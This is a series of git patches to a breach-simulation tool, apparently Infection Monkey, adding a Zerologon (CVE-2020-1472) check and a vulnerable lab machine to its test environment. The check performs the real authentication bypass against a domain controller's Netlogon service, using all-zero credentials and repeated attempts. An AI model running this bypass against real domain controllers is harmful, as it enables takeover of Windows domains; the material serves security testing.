From 0a8d1f2afecbb213f79fa7a836fc68636413050f Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 20 Oct 2020 23:51:08 +0530 Subject: [PATCH 1/9] Add Zerologon fingerprinter --- .../network/windowsserver_fingerprint.py | 103 ++++++++++++++++++ .../definitions/finger_classes.py | 10 +- .../cc/services/config_schema/internal.py | 1 + 3 files changed, 113 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/network/windowsserver_fingerprint.py diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py new file mode 100644 index 000000000..6ebaae1e8 --- /dev/null +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -0,0 +1,103 @@ +import logging +import subprocess + +from impacket.dcerpc.v5 import epm, nrpc, transport + +import infection_monkey.config +from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class WindowsServerFinger(HostFinger): + # Class related consts + MAX_ATTEMPTS = 2000 + _SCANNED_SERVICE = "Windows Server" + + def __init__(self): + self._config = infection_monkey.config.WormConfiguration + + def get_host_fingerprint(self, host): + """ + Checks if the Windows Server is vulnerable to Zerologon. + """ + unexpected_error_encountered = False + + def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME): + # Connect to the DC's Netlogon service. + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + + # Use an all-zero challenge and credential. + plaintext = b'\x00' * 8 + ciphertext = b'\x00' * 8 + + # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. + flags = 0x212fffff + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, DC_HANDLE + '\x00', DC_NAME + + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + DC_NAME + '\x00', ciphertext, flags + ) + + # It worked! + assert server_auth['ErrorCode'] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + LOG.error(f'Unexpected error code: {ex.get_error_code()}.') + unexpected_error_encountered = True + + except BaseException as ex: + LOG.error(f'Unexpected error: {ex}.') + unexpected_error_encountered = True + + return None + + DC_IP = host.ip_addr + DC_NAME = self.get_dc_name(DC_IP) + DC_HANDLE = '\\\\' + DC_NAME + + # Keep authenticating until successful. Expected average number of attempts needed: 256. + LOG.info('Performing Zerologon authentication attempts...') + rpc_con = None + for attempt in range(0, self.MAX_ATTEMPTS): + rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + if (rpc_con is not None) or (unexpected_error_encountered): + break + + self.init_service(host.services, self._SCANNED_SERVICE, None) + + if rpc_con: + LOG.info('Success: DC can be fully compromised by a Zerologon attack.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True + return True + else: + LOG.info('Failure: Target is either patched or an unexpected error was encountered.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False + return False + + def get_dc_name(self, DC_IP): + """ + Gets NetBIOS name of the DC. + """ + if is_windows_os(): + cmd = f'nbtstat -A {DC_IP} | findstr "<00>"' + name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0] + else: + cmd = f'nmblookup -A {DC_IP} | grep "<00>"' + name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0] + return name diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 6fe5e8fea..405983dc5 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -56,7 +56,6 @@ FINGER_CLASSES = { "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", "attack_techniques": ["T1210"] }, - { "type": "string", "enum": [ @@ -65,6 +64,15 @@ FINGER_CLASSES = { "title": "ElasticFinger", "info": "Checks if ElasticSearch is running and attempts to find it's version.", "attack_techniques": ["T1210"] + }, + { + "type": "string", + "enum": [ + "WindowsServerFinger" + ], + "title": "WindowsServerFinger", + "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", + "attack_techniques": ["T1210"] } ] } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index bdbae2461..af562bcc2 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -223,6 +223,7 @@ INTERNAL = { "MySQLFinger", "MSSQLFinger", "ElasticFinger" + "WindowsServerFinger" ] } } From 08d38011205f0f52505fd1856596f2b8d5394a77 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 21 Oct 2020 01:08:01 +0530 Subject: [PATCH 2/9] Testing is important --- .../network/windowsserver_fingerprint.py | 61 +++++++++++-------- .../cc/services/config_schema/internal.py | 2 +- 2 files changed, 36 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index 6ebaae1e8..7b66462d1 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -18,6 +18,22 @@ class WindowsServerFinger(HostFinger): def __init__(self): self._config = infection_monkey.config.WormConfiguration + def get_dc_name(self, DC_IP): + """ + Gets NetBIOS name of the DC. + """ + name = '' + try: + if is_windows_os(): + cmd = f'nbtstat -A {DC_IP} | findstr "<00>"' + name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0] + else: + cmd = f'nmblookup -A {DC_IP} | grep "<00>"' + name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0] + except BaseException as ex: + LOG.info(f'Exception: {ex} Most likely not a Windows DC.') + return name + def get_host_fingerprint(self, host): """ Checks if the Windows Server is vulnerable to Zerologon. @@ -71,33 +87,26 @@ class WindowsServerFinger(HostFinger): DC_NAME = self.get_dc_name(DC_IP) DC_HANDLE = '\\\\' + DC_NAME - # Keep authenticating until successful. Expected average number of attempts needed: 256. - LOG.info('Performing Zerologon authentication attempts...') - rpc_con = None - for attempt in range(0, self.MAX_ATTEMPTS): - rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) - if (rpc_con is not None) or (unexpected_error_encountered): - break + if DC_NAME: # if it is a Windows DC + # Keep authenticating until successful. Expected average number of attempts needed: 256. + LOG.info('Performing Zerologon authentication attempts...') + rpc_con = None + for attempt in range(0, self.MAX_ATTEMPTS): + rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + if (rpc_con is not None) or (unexpected_error_encountered): + break - self.init_service(host.services, self._SCANNED_SERVICE, None) + self.init_service(host.services, self._SCANNED_SERVICE, '') + + if rpc_con: + LOG.info('Success: DC can be fully compromised by a Zerologon attack.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True + return True + else: + LOG.info('Failure: Target is either patched or an unexpected error was encountered.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False + return False - if rpc_con: - LOG.info('Success: DC can be fully compromised by a Zerologon attack.') - host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True - return True else: - LOG.info('Failure: Target is either patched or an unexpected error was encountered.') - host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False + LOG.info('Error encountered; most likely not a Windows DC.') return False - - def get_dc_name(self, DC_IP): - """ - Gets NetBIOS name of the DC. - """ - if is_windows_os(): - cmd = f'nbtstat -A {DC_IP} | findstr "<00>"' - name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0] - else: - cmd = f'nmblookup -A {DC_IP} | grep "<00>"' - name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0] - return name diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index af562bcc2..fae309ad5 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -222,7 +222,7 @@ INTERNAL = { "HTTPFinger", "MySQLFinger", "MSSQLFinger", - "ElasticFinger" + "ElasticFinger", "WindowsServerFinger" ] } From 7bdc7ce4c2690e48dd42499226caeda1cbfebb7b Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 21 Oct 2020 16:45:15 +0530 Subject: [PATCH 3/9] Add implementation details --- monkey/infection_monkey/network/windowsserver_fingerprint.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index 7b66462d1..ddf5b42ca 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -1,3 +1,7 @@ +""" +Implementation from https://github.com/SecuraBV/CVE-2020-1472 +""" + import logging import subprocess From fc9d21201f72d9790641b058dab77cff512839d7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 25 Oct 2020 16:21:19 +0530 Subject: [PATCH 4/9] CR changes, nothing major --- .../network/windowsserver_fingerprint.py | 21 ++++++++----------- 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index ddf5b42ca..7873f81a7 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -17,14 +17,11 @@ LOG = logging.getLogger(__name__) class WindowsServerFinger(HostFinger): # Class related consts MAX_ATTEMPTS = 2000 - _SCANNED_SERVICE = "Windows Server" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration + _SCANNED_SERVICE = "NTLM (NT LAN Manager)" def get_dc_name(self, DC_IP): """ - Gets NetBIOS name of the DC. + Gets NetBIOS name of the Domain Controller (DC). """ name = '' try: @@ -35,7 +32,7 @@ class WindowsServerFinger(HostFinger): cmd = f'nmblookup -A {DC_IP} | grep "<00>"' name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0] except BaseException as ex: - LOG.info(f'Exception: {ex} Most likely not a Windows DC.') + LOG.info(f'Exception: {ex} Most likely not a Windows Domain Controller.') return name def get_host_fingerprint(self, host): @@ -85,17 +82,17 @@ class WindowsServerFinger(HostFinger): LOG.error(f'Unexpected error: {ex}.') unexpected_error_encountered = True - return None - DC_IP = host.ip_addr DC_NAME = self.get_dc_name(DC_IP) DC_HANDLE = '\\\\' + DC_NAME if DC_NAME: # if it is a Windows DC - # Keep authenticating until successful. Expected average number of attempts needed: 256. + # Keep authenticating until successful. + # Expected average number of attempts needed: 256. + # Approximate time taken by 2000 attempts: 40 seconds. LOG.info('Performing Zerologon authentication attempts...') rpc_con = None - for attempt in range(0, self.MAX_ATTEMPTS): + for _ in range(0, self.MAX_ATTEMPTS): rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) if (rpc_con is not None) or (unexpected_error_encountered): break @@ -103,7 +100,7 @@ class WindowsServerFinger(HostFinger): self.init_service(host.services, self._SCANNED_SERVICE, '') if rpc_con: - LOG.info('Success: DC can be fully compromised by a Zerologon attack.') + LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.') host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True return True else: @@ -112,5 +109,5 @@ class WindowsServerFinger(HostFinger): return False else: - LOG.info('Error encountered; most likely not a Windows DC.') + LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False From b3e969528948ca7b9c17039ea73dbb5d174984b7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 25 Oct 2020 16:41:50 +0530 Subject: [PATCH 5/9] Raise exception instead of using boolean --- .../network/windowsserver_fingerprint.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index 7873f81a7..73e5d7bdc 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -39,7 +39,6 @@ class WindowsServerFinger(HostFinger): """ Checks if the Windows Server is vulnerable to Zerologon. """ - unexpected_error_encountered = False def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME): # Connect to the DC's Netlogon service. @@ -75,12 +74,10 @@ class WindowsServerFinger(HostFinger): if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. pass else: - LOG.error(f'Unexpected error code: {ex.get_error_code()}.') - unexpected_error_encountered = True + raise Exception(f'Unexpected error code: {ex.get_error_code()}.') except BaseException as ex: - LOG.error(f'Unexpected error: {ex}.') - unexpected_error_encountered = True + raise Exception(f'Unexpected error: {ex}.') DC_IP = host.ip_addr DC_NAME = self.get_dc_name(DC_IP) @@ -93,8 +90,12 @@ class WindowsServerFinger(HostFinger): LOG.info('Performing Zerologon authentication attempts...') rpc_con = None for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) - if (rpc_con is not None) or (unexpected_error_encountered): + try: + rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + if rpc_con is not None: + break + except Exception as ex: + LOG.info(ex) break self.init_service(host.services, self._SCANNED_SERVICE, '') From 8b0dd91c18951724e6ec64a07ca517182e57b424 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 1 Nov 2020 18:19:14 +0530 Subject: [PATCH 6/9] Better way to get NetBIOS name --- .../network/windowsserver_fingerprint.py | 13 +++++-------- monkey/infection_monkey/requirements.txt | 1 + 2 files changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index 73e5d7bdc..a19d54ff4 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -5,6 +5,7 @@ Implementation from https://github.com/SecuraBV/CVE-2020-1472 import logging import subprocess +import nmb.NetBIOS from impacket.dcerpc.v5 import epm, nrpc, transport import infection_monkey.config @@ -25,15 +26,11 @@ class WindowsServerFinger(HostFinger): """ name = '' try: - if is_windows_os(): - cmd = f'nbtstat -A {DC_IP} | findstr "<00>"' - name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0] - else: - cmd = f'nmblookup -A {DC_IP} | grep "<00>"' - name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0] + nb = nmb.NetBIOS.NetBIOS() + name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None + return name[0] if name else None except BaseException as ex: - LOG.info(f'Exception: {ex} Most likely not a Windows Domain Controller.') - return name + LOG.info(f'Exception: {ex}') def get_host_fingerprint(self, host): """ diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index c9633b555..0a1dbd282 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -12,5 +12,6 @@ pycryptodome==3.9.8 pyftpdlib==1.5.6 pymssql<3.0 pypykatz==0.3.12 +pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' From 62a1520c5082be0d99f09287a6ec8e90109e0721 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 3 Nov 2020 16:42:33 +0530 Subject: [PATCH 7/9] Extract nested function --- .../network/windowsserver_fingerprint.py | 104 +++++++++--------- 1 file changed, 52 insertions(+), 52 deletions(-) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index a19d54ff4..f418fd4bc 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -20,62 +20,11 @@ class WindowsServerFinger(HostFinger): MAX_ATTEMPTS = 2000 _SCANNED_SERVICE = "NTLM (NT LAN Manager)" - def get_dc_name(self, DC_IP): - """ - Gets NetBIOS name of the Domain Controller (DC). - """ - name = '' - try: - nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None - return name[0] if name else None - except BaseException as ex: - LOG.info(f'Exception: {ex}') - def get_host_fingerprint(self, host): """ Checks if the Windows Server is vulnerable to Zerologon. """ - def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME): - # Connect to the DC's Netlogon service. - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) - - # Use an all-zero challenge and credential. - plaintext = b'\x00' * 8 - ciphertext = b'\x00' * 8 - - # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. - flags = 0x212fffff - - # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge( - rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) - - try: - server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, DC_HANDLE + '\x00', DC_NAME + - '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - DC_NAME + '\x00', ciphertext, flags - ) - - # It worked! - assert server_auth['ErrorCode'] == 0 - return rpc_con - - except nrpc.DCERPCSessionError as ex: - if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. - pass - else: - raise Exception(f'Unexpected error code: {ex.get_error_code()}.') - - except BaseException as ex: - raise Exception(f'Unexpected error: {ex}.') - DC_IP = host.ip_addr DC_NAME = self.get_dc_name(DC_IP) DC_HANDLE = '\\\\' + DC_NAME @@ -88,7 +37,7 @@ class WindowsServerFinger(HostFinger): rpc_con = None for _ in range(0, self.MAX_ATTEMPTS): try: - rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) if rpc_con is not None: break except Exception as ex: @@ -109,3 +58,54 @@ class WindowsServerFinger(HostFinger): else: LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False + + def get_dc_name(self, DC_IP): + """ + Gets NetBIOS name of the Domain Controller (DC). + """ + + try: + nb = nmb.NetBIOS.NetBIOS() + name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None + return name[0] if name else None + except BaseException as ex: + LOG.info(f'Exception: {ex}') + + def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME): + # Connect to the DC's Netlogon service. + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + + # Use an all-zero challenge and credential. + plaintext = b'\x00' * 8 + ciphertext = b'\x00' * 8 + + # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. + flags = 0x212fffff + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, DC_HANDLE + '\x00', DC_NAME + + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + DC_NAME + '\x00', ciphertext, flags + ) + + # It worked! + assert server_auth['ErrorCode'] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + raise Exception(f'Unexpected error code: {ex.get_error_code()}.') + + except BaseException as ex: + raise Exception(f'Unexpected error: {ex}.') From d8ee740750cba3eecdf9607b56c0a40ef2491a2c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Nov 2020 16:11:51 +0200 Subject: [PATCH 8/9] Added zero logon to monkeyzoo --- envs/monkey_zoo/docs/fullDocs.md | 20 ++++++++++++++++++++ envs/monkey_zoo/terraform/images.tf | 4 ++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 15 +++++++++++++++ 3 files changed, 39 insertions(+) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index e788bb36c..92b8652e0 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -1098,6 +1098,26 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + +

Nr. 25 ZeroLogon

+

(10.2.2.25)

(Vulnerable)
OS:Server 2016
Default server’s port:135
+ diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4c01ff4d2..a402842b8 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -85,6 +85,10 @@ data "google_compute_image" "struts2-24" { name = "struts2-24" project = local.monkeyzoo_project } +data "google_compute_image" "zerologon-25" { + name = "zerologon-25" + project = local.monkeyzoo_project +} data "google_compute_image" "island-linux-250" { name = "island-linux-250" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index bb7c4d72d..6c3a49b2e 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -432,6 +432,21 @@ resource "google_compute_instance_from_template" "struts2-24" { } } +resource "google_compute_instance_from_template" "zerologon-25" { + name = "${local.resource_prefix}zerologon-25" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.zerologon-25.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.2.25" + } +} + resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" From f44e080b1cf0b97dc4d9b4acf052fef73ca06bd2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 5 Nov 2020 23:26:18 +0530 Subject: [PATCH 9/9] Only generate 'DC_HANDLE' if 'DC_NAME' exists --- monkey/infection_monkey/network/windowsserver_fingerprint.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py index f418fd4bc..a4912d4fb 100644 --- a/monkey/infection_monkey/network/windowsserver_fingerprint.py +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -27,12 +27,13 @@ class WindowsServerFinger(HostFinger): DC_IP = host.ip_addr DC_NAME = self.get_dc_name(DC_IP) - DC_HANDLE = '\\\\' + DC_NAME if DC_NAME: # if it is a Windows DC # Keep authenticating until successful. # Expected average number of attempts needed: 256. # Approximate time taken by 2000 attempts: 40 seconds. + DC_HANDLE = '\\\\' + DC_NAME + LOG.info('Performing Zerologon authentication attempts...') rpc_con = None for _ in range(0, self.MAX_ATTEMPTS):